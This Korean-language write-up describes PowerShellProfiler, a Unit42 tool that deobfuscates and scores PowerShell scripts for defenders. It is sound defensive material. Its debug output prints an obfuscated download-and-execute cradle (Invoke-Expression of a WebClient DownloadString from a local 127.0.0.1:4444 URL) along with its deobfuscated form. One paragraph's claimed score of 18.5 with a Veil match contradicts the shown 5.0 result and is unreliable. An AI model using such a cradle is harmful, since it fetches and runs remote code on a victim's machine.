
PowerShellProfiler
이 프로젝트 코드는 https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler 에서 가져온 것입니다.
PowerShellProfiler.py는 PowerShell 스크립트의 콘텐츠를 난독화 해제(de-obfuscating)하고 정규화한 후 행동 지표를 프로파일링하여 PowerShell 스크립트를 정적으로 분석하는 스크립트입니다. 이러한 행동들은 점수로 산정되며, 점수의 총합은 PowerShell 스크립트에 대한 가능한 위험 수준을 제공합니다. 이 도구는 PowerShell 스크립트의 대량 분석을 처리하는 실용적인 방법을 강조하고, 분석 속도를 높이는 데 사용할 수 있는 또 다른 도구를 제공하여 블루 팀을 지원하기 위해 만들어졌습니다.
Unit42 블로그 시리즈 - "Practical Behavioral Profiling of PowerShell Scripts through Static Analysis"에서는 PowerShell 스크립트 내 행동을 정적으로 프로파일링하는 이 접근 방식의 개념, 설계, 장단점을 다룹니다.
usage: PowerShellProfiler.py [-h] -f <file_name> [-d]
PowerShellProfiler analyzes PowerShell scripts statically to identify and
score behaviors.
optional arguments:
-h, --help show this help message and exit
-f <file_name>, --file <file_name>
PowerShell Script to behaviorally profile
-d, --debug Enables debug output
표준 사용법은 매우 간단합니다. 파일 이름(PowerShell 스크립트, ScriptBlock 로그 내보내기, 텍스트 파일 등)을 전달하려면 "-f" 플래그를 사용하기만 하면 PowerShellProfiler.py 스크립트가 결과를 출력합니다.
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.008002 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]

출력은 쉼표로 구분되며 다음 필드를 사용합니다:
File Name , Profiling Score , Proposed Risk Level , Analysis Runtime , Behaviors (pipe-delimited)
이 경우 "1.ps1" 파일은 콘텐츠 다운로드, 프로세스 시작, 추가 스크립트 콘텐츠 실행, 압축 사용, 일부 시스템 정보 열거, 스크립트 전체가 한 줄에 들어가는 특성/행동을 가지며, 알려진 악성코드 패밀리 "Veil"과 일치하는 패턴이 있는 것으로 식별되었습니다. 이러한 행동들은 개별적으로 점수화되며 합계 18.5로, 가장 높은 위험 범위에 해당합니다.
또한 "-d" 플래그를 사용하는 "debug" 모드가 있으며, 실패한 디코딩/난독화 해제 문제 해결, 긴 실행 시간, 디코딩된 콘텐츠의 새로운 행동 분석, 그리고 전반적으로 더 자세한 출력에 유용합니다.
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -d -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
Opened File C:\Users\Al1ex\Desktop\Powershell\1.ps1
[+] Normalization Function
[!] Format Replaced - True: 0:00:00.000997
[!] Format Replaced - True: 0:00:00
[+] Normalization Function
[+] Normalization Function
##### TIMING / MATCH #####
Main Processing: 0:00:00.003988
Family ID: 0:00:00.001995
Behavior Check - Code Injection: 0:00:00
Behavior Check - Key Logging: 0:00:00
Behavior Check - Screen Scraping: 0:00:00
Behavior Check - AppLocker Bypass: 0:00:00
Behavior Check - AMSI Bypass: 0:00:00
Behavior Check - Clear Logs: 0:00:00
Behavior Check - Coin Miner: 0:00:00
Behavior Check - Embedded File: 0:00:00
Behavior Check - Abnormal Size: 0:00:00
Behavior Check - Ransomware: 0:00:00
Behavior Check - DNS C2: 0:00:00
Behavior Check - Disabled Protections: 0:00:00
Behavior Check - Negative Context: 0:00:00
['DownloadString']
Behavior Check - Downloader: 0:00:00
Behavior Check - Starts Process: 0:00:00
['Invoke-Expression']
Behavior Check - Script Execution: 0:00:00
Behavior Check - Compression: 0:00:00
Behavior Check - Hidden Window: 0:00:00
Behavior Check - Custom Web Fields: 0:00:00
Behavior Check - Persistence: 0:00:00
Behavior Check - Sleeps: 0:00:00
Behavior Check - Uninstalls Apps: 0:00:00
Behavior Check - Obfuscation: 0:00:00
Behavior Check - Crypto: 0:00:00
Behavior Check - Enumeration: 0:00:00
Behavior Check - Registry: 0:00:00
Behavior Check - Sends Data: 0:00:00
Behavior Check - Byte Usage: 0:00:00
Behavior Check - SysInternals: 0:00:00
Behavior Check - One Liner: 0:00:00
Behavior Check - Variable Extension: 0:00:00
Behavior Check - Script Logging: 0:00:00
Behavior Check - License: 0:00:00
Behavior Check - Function Body: 0:00:00
Behavior Check - Positive Context: 0:00:00
Behavior ID: 0:00:00.010971
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.018915 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]
##### ORIGINAL SCRIPT #####
.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")
##### ALTERED SCRIPT #####
."Invoke-Expression" (&"New-Object" System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")
C:\Users\Al1ex\Desktop\PowerShellProfiler>
